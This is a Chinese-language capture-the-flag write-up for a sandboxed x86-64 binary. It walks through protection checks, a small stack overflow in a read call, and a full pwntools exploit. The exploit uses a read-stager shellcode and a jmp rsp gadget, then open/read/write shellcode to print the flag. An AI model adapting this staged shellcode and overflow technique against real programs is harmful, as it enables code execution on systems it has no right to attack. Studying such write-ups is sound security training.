例行检查程序

```
[*] '/home/rencvn/Desktop/chuti/nan/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

保护机制只开启了部分 relro

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/rencvn/Desktop/chuti/nan/shellcode
          0x600000           0x601000 r-xp     1000 0      /home/rencvn/Desktop/chuti/nan/shellcode
          0x601000           0x602000 rwxp     1000 1000   /home/rencvn/Desktop/chuti/nan/shellcode
    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dc9000     0x7ffff7dcd000 r-xp     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcd000     0x7ffff7dcf000 rwxp     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd3000 rwxp     4000 0      anon_7ffff7dcf
    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fe1000     0x7ffff7fe3000 rwxp     2000 0      anon_7ffff7fe1
    0x7ffff7ff8000     0x7ffff7ffb000 r--p     3000 0      [vvar]
    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r-xp     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rwxp     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rwxp     1000 0      anon_7ffff7ffe
    0x7ffffffde000     0x7fffffffe000 rwxp    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]
pwndbg>
```

栈可执行，我们可以在栈上写上 shellcode 去 getshell，但是程序开启了沙箱

```
27  char v25; // [rsp+3Bh] [rbp-5h]
28  int v26; // [rsp+3Ch] [rbp-4h]
29
30  v3 = 32;
31  v4 = 0;
32  v5 = 0;
33  v6 = 4;
34  v7 = 21;
35  v8 = 0;
36  v9 = 2;
37  v10 = -1073741762;
38  v11 = 32;
39  v12 = 0;
40  v13 = 0;
41  v14 = 0;
42  v15 = 21;
43  v16 = 0;
44  v17 = 1;
45  v18 = 59;
46  v19 = 6;
47  v20 = 0;
48  v21 = 0;
49  v22 = 0;
50  v23 = 6;
51  v24 = 0;
52  v25 = 0;
53  v26 = 2147418112;
54  v1 = 6;
55  v2 = &v3;
56  prctl(38, 1LL, 0LL, 0LL, 0LL);
57  return prctl(22, 2LL, &v1);
```

所以我们执行写 orw，通过进一步分析发现

```
1ssize_t vulnerable()
2{
3  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4
5  return read(0, buf, 0x40uLL);
6}
```

```
-0000000000000020 ; D/A/*   : change type (data/ascii/array)
-0000000000000020 ; N       : rename
-0000000000000020 ; U       : undefine
-0000000000000020 ; Use data definition commands to create local variables and function arguments.
-0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020 ;
-0000000000000020
-0000000000000020 buf             db 32 dup(?)
+0000000000000000  s               db 8 dup(?)
+0000000000000008  r               db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

我们只能溢出 0x20 的字节，我们无法写入全部的 shellcode，所以我们需要用 shellcode 写一个 read 函数，增大读入量

```python
read_size = '''
push rbp
mov rbp, rsp
sub rsp, 0x100
mov rdi, 0
mov rsi, rsp
mov rdx, 0x200
mov rax, 0
syscall
leave
ret
'''
```

之后写入 orw 的 shellcode 即可

最后 exp

```python
from pwn import *
elf = ELF('./shellcode')
io = process('./shellcode')
libc = elf.libc
```

```
context(log_level='debug',os='linux',arch='amd64')


io.recvuntil('?')
#flag = 0x000067616c662f2e
jmp_rsp = 0x400685
jum = '''
sub rsp, 0x30
jmp rsp
'''
read_size = '''
push rbp
mov rbp, rsp
sub rsp, 0x100
mov rdi, 0
mov rsi, rsp
mov rdx, 0x200
mov rax, 0
syscall
leave
ret
'''
shellcode = '''
mov r15, 0x000067616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov r15, rdi
mov rdi, 3
mov rsi, r15
mov rdx, 0xff
mov rax, 0
syscall
mov rdi, 1
mov rsi, r15
mov rdx, 0xff
mov rax, 1
syscall

'''

jmp1 = '''
sub rsp, 0x110
```

```
jmp rsp
'''

payload = asm(read_size).ljust(0x28,'\x00')+p64(jmp_rsp)+asm(jum)

#gdb.attach(io)

io.send(payload)

io.send(asm(shellcode).ljust(0x108,'A')+p64(jmp_rsp)+asm(jmp1))




io.interactive()
```